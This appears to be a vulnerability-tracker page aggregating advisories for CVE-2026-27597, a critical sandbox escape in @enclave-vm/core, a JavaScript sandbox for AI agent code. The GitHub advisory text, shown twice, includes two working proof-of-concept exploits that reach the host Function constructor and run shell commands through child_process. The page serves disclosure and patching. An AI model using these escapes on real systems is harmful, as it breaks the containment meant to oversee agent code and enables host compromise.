@enclave-vm/core is vulnerable to Sandbox Escape
cve-program · CVE-2026-27597
PublishedEnclave is a secure JavaScript sandbox designed for safe AI agent code execution. Prior to version 2.11.1, it is possible to escape the security boundraries set by `@enclave-vm/core`, which can be used to achieve remote code execution (RCE). The issue has been fixed in version 2.11.1.
Read the publisher's advisoryeuvd · EUVD-2026-8617
PublishedEnclave is a secure JavaScript sandbox designed for safe AI agent code execution. Prior to version 2.11.1, it is possible to escape the security boundraries set by `@enclave-vm/core`, which can be used to achieve remote code execution (RCE). The issue has been fixed in version 2.11.1.
Read the publisher's advisorynvd · CVE-2026-27597
PublishedEnclave is a secure JavaScript sandbox designed for safe AI agent code execution. Prior to version 2.11.1, it is possible to escape the security boundraries set by `@enclave-vm/core`, which can be used to achieve remote code execution (RCE). The issue has been fixed in version 2.11.1.
Read the publisher's advisoryosv · GHSA-f229-3862-4942
Published## Summary It is possible to escape the security boundraries set by `@enclave-vm/core`, which can be used to achieve remote code execution (RCE). The issue has been fixed in version **2.11.1**. --- ## Details It is possible to obtain the native `Object` constructor (instead of the `SafeObject` wrapper). This can be used to get retrieve property descriptors via `Object.getOwnPropertyDescriptors`, allowing access to properties otherwise restricted by the sandbox. When a memory limit is set (which is the default), `__host_memory_track__`, a host object, can be used to escape via the host function constructor. When this is not the case, a host reference can be obtained via Node's `nodejs.util.inspect.custom` symbol (which can be triggered, for example, through `console.log`). --- ## Proof of Concept ### PoC 1 ```js const { Enclave } = require("@enclave-vm/core"); const enclave = new Enclave({ securityLevel: "SECURE", toolHandler: () => {}, }); const result = enclave.run(` const op = {}[["__proto__"]]; const ho = op[["constructor"]]; const glob = ho.getOwnPropertyDescriptors(this); return { res: glob.__host_memory_track__.value[["constructor"]]("return process")() .getBuiltinModule("child_process") .execSync("id") .toString() .split("\\n"), };`); result .then((v) => console.log("success", v)) .catch((e) => console.log("failure", e)); ``` --- ### PoC 2 ```js const { Enclave } = require("@enclave-vm/core"); const enclave = new Enclave({ securityLevel: "STRICT", toolHandler: () => {}, memoryLimit: 0, }); const result = enclave.run(` const op = {}[['__proto__']]; const ho = op[['constructor']]; const glob = ho.getOwnPropertyDescriptors(this); const sym = glob[['Symbol']].value.for('nodejs.util.inspect.custom'); let result; const obj = { [sym]: (depth, option, inspect) => { result = inspect[['constructor']] [['constructor']]('return process')() .getBuiltinModule('child_process') .execSync('id') .toString(); }, }; glob.__safe_console.value.log(obj); return { result } `); result .then((v) => console.log("success", v)) .catch((e) => console.log("failure", e)); ``` --- ## Impact This vulnerability allows a malicious actor executing untrusted code inside an Enclave instance to escape the sandbox and execute arbitrary commands on the host system. This constitutes **Remote Code Execution (RCE)** and should be considered **Critical severity**. --- ## Remediation The issue has been fixed in **v2.11.0** with the following hardening measures: * Strengthened intrinsic object isolation * Improved console isolation * Hardened host callback exposure paths * Closed AST validation gaps * Added additional defensive checks around constructor access and prototype traversal All known escape paths demonstrated in the PoCs are now blocked. Users are strongly advised to upgrade to **v2.11.1** or later immediately. --- ## Credit Enclave would like to thank **@c0rydoras** for responsibly reporting this issue and for providing detailed proof-of-concept examples.
Read the publisher's advisoryAffected versions, risk and source history
Exploitation and risk
Source statusCISA KEV lists vulnerabilities known to be exploited. FIRST EPSS estimates the likelihood of exploitation in the next 30 days. An unavailable score does not mean zero risk.
Which CVEs have scores here?
This view includes predictions for CVE identifiers explicitly listed in public NuGet advisories. Microsoft release pages have their own prediction coverage. Check source status for the scope and latest checks.
No exploitation or prediction data is available here for these CVEs. This does not mean they are safe or unlikely to be exploited.
cve-program · CVE-2026-27597
Published@enclave-vm/core is vulnerable to Sandbox Escape
Enclave is a secure JavaScript sandbox designed for safe AI agent code execution. Prior to version 2.11.1, it is possible to escape the security boundraries set by `@enclave-vm/core`, which can be used to achieve remote code execution (RCE). The issue has been fixed in version 2.11.1.
- Source published
- 25 Feb 2026 03:56:25 UTC
- Source modified
- 25 Feb 2026 21:13:32 UTC
- Saved here
- 23 Oct 2026 15:48:27 UTC
- Source terms
- CVE Program Terms of Use
Original source record · Cite this exact observation · Complete original publisher JSON
Source: cve-program · CVE Program Terms of Use. The publisher's wording is preserved. ChangeIntel groups the information and labels changes. The JSON record includes additional source fields.
CVSS 3.1 · 10.0 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
euvd · EUVD-2026-8617
PublishedEnclave is a secure JavaScript sandbox designed for safe AI agent code execution. Prior to version 2.11.1, it is possible to escape the security boundraries set by `@enclave-vm/core`, which can be used to achieve remote code execution (RCE)…
Enclave is a secure JavaScript sandbox designed for safe AI agent code execution. Prior to version 2.11.1, it is possible to escape the security boundraries set by `@enclave-vm/core`, which can be used to achieve remote code execution (RCE). The issue has been fixed in version 2.11.1.
Additional publisher context
EUVD source date text has no stated timezone and is retained without inventing a UTC instant. Related bulletin membership is not an alias, common cause or applicability claim. A missing vector with a zero score is treated as unrated. Complete vendor/product and underlying source evidence remains in the original JSON.
Original publisher date fields
datePublished: Feb 25, 2026, 3:56:25 AM
dateUpdated: Feb 25, 2026, 9:13:32 PM
- Source published
- Feb 25, 2026, 3:56:25 AM (timezone not stated)
- Source modified
- Feb 25, 2026, 9:13:32 PM (timezone not stated)
- Saved here
- 15 Nov 2026 09:26:57 UTC
- Source terms
- ENISA EUVD · source terms and attribution apply
Original source record · Cite this exact observation · Complete original publisher JSON
Source: euvd · ENISA EUVD · source terms and attribution apply. The publisher's wording is preserved. ChangeIntel groups the information and labels changes. The JSON record includes additional source fields.
EUVD CVSS 3.1 · 10.0 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
nvd · CVE-2026-27597
PublishedEnclave is a secure JavaScript sandbox designed for safe AI agent code execution. Prior to version 2.11.1, it is possible to escape the security boundraries set by `@enclave-vm/core`, which can be used to achieve remote code execution (RCE)…
Enclave is a secure JavaScript sandbox designed for safe AI agent code execution. Prior to version 2.11.1, it is possible to escape the security boundraries set by `@enclave-vm/core`, which can be used to achieve remote code execution (RCE). The issue has been fixed in version 2.11.1.
Additional publisher context
NVD analysis and CPE criteria are source context, not proof that a package or your environment is affected. Complete affected data, logical configurations and SSVC are retained in the original JSON.
Source analysis status: Analyzed
Weakness classifications: CWE-94
Original publisher date fields
published: 2026-02-25T04:16:03.557
lastModified: 2026-06-17T10:27:21.953
1 source CPE criteria · context only
- cpe:2.3:a:agentfront:enclave:*:*:*:*:*:node.js:*:*
The original JSON retains the logical configuration operators, exclusions and version bounds.
- Source published
- 25 Feb 2026 04:16:03 UTC
- Source modified
- 17 Jun 2026 10:27:21 UTC
- Saved here
- 25 Oct 2026 06:17:33 UTC
- Source terms
- NIST NVD usage terms; underlying source attribution retained
Original source record · Cite this exact observation · Complete original publisher JSON
Source: nvd · NIST NVD usage terms; underlying source attribution retained. The publisher's wording is preserved. ChangeIntel groups the information and labels changes. The JSON record includes additional source fields.
CVSS 3.1 · [email protected] · Secondary · 10.0 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
osv · GHSA-f229-3862-4942
Published@enclave-vm/core is vulnerable to Sandbox Escape
## Summary It is possible to escape the security boundraries set by `@enclave-vm/core`, which can be used to achieve remote code execution (RCE). The issue has been fixed in version **2.11.1**. --- ## Details It is possible to obtain the native `Object` constructor (instead of the `SafeObject` wrapper). This can be used to get retrieve property descriptors via `Object.getOwnPropertyDescriptors`, allowing access to properties otherwise restricted by the sandbox. When a memory limit is set (which is the default), `__host_memory_track__`, a host object, can be used to escape via the host function constructor. When this is not the case, a host reference can be obtained via Node's `nodejs.util.inspect.custom` symbol (which can be triggered, for example, through `console.log`). --- ## Proof of Concept ### PoC 1 ```js const { Enclave } = require("@enclave-vm/core"); const enclave = new Enclave({ securityLevel: "SECURE", toolHandler: () => {}, }); const result = enclave.run(` const op = {}[["__proto__"]]; const ho = op[["constructor"]]; const glob = ho.getOwnPropertyDescriptors(this); return { res: glob.__host_memory_track__.value[["constructor"]]("return process")() .getBuiltinModule("child_process") .execSync("id") .toString() .split("\\n"), };`); result .then((v) => console.log("success", v)) .catch((e) => console.log("failure", e)); ``` --- ### PoC 2 ```js const { Enclave } = require("@enclave-vm/core"); const enclave = new Enclave({ securityLevel: "STRICT", toolHandler: () => {}, memoryLimit: 0, }); const result = enclave.run(` const op = {}[['__proto__']]; const ho = op[['constructor']]; const glob = ho.getOwnPropertyDescriptors(this); const sym = glob[['Symbol']].value.for('nodejs.util.inspect.custom'); let result; const obj = { [sym]: (depth, option, inspect) => { result = inspect[['constructor']] [['constructor']]('return process')() .getBuiltinModule('child_process') .execSync('id') .toString(); }, }; glob.__safe_console.value.log(obj); return { result } `); result .then((v) => console.log("success", v)) .catch((e) => console.log("failure", e)); ``` --- ## Impact This vulnerability allows a malicious actor executing untrusted code inside an Enclave instance to escape the sandbox and execute arbitrary commands on the host system. This constitutes **Remote Code Execution (RCE)** and should be considered **Critical severity**. --- ## Remediation The issue has been fixed in **v2.11.0** with the following hardening measures: * Strengthened intrinsic object isolation * Improved console isolation * Hardened host callback exposure paths * Closed AST validation gaps * Added additional defensive checks around constructor access and prototype traversal All known escape paths demonstrated in the PoCs are now blocked. Users are strongly advised to upgrade to **v2.11.1** or later immediately. --- ## Credit Enclave would like to thank **@c0rydoras** for responsibly reporting this issue and for providing detailed proof-of-concept examples.
- Source published
- 25 Feb 2026 17:26:23 UTC
- Source modified
- 10 Sep 2026 03:50:34 UTC
- Saved here
- 24 Oct 2026 13:17:17 UTC
- Source terms
- GitHub Advisory Database · CC-BY-4.0
Original source record · Cite this exact observation · Complete original publisher JSON
Source: osv · GitHub Advisory Database · CC-BY-4.0. The publisher's wording is preserved. ChangeIntel groups the information and labels changes. The JSON record includes additional source fields.
CVSS_V3 · CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
Publisher rating · CRITICAL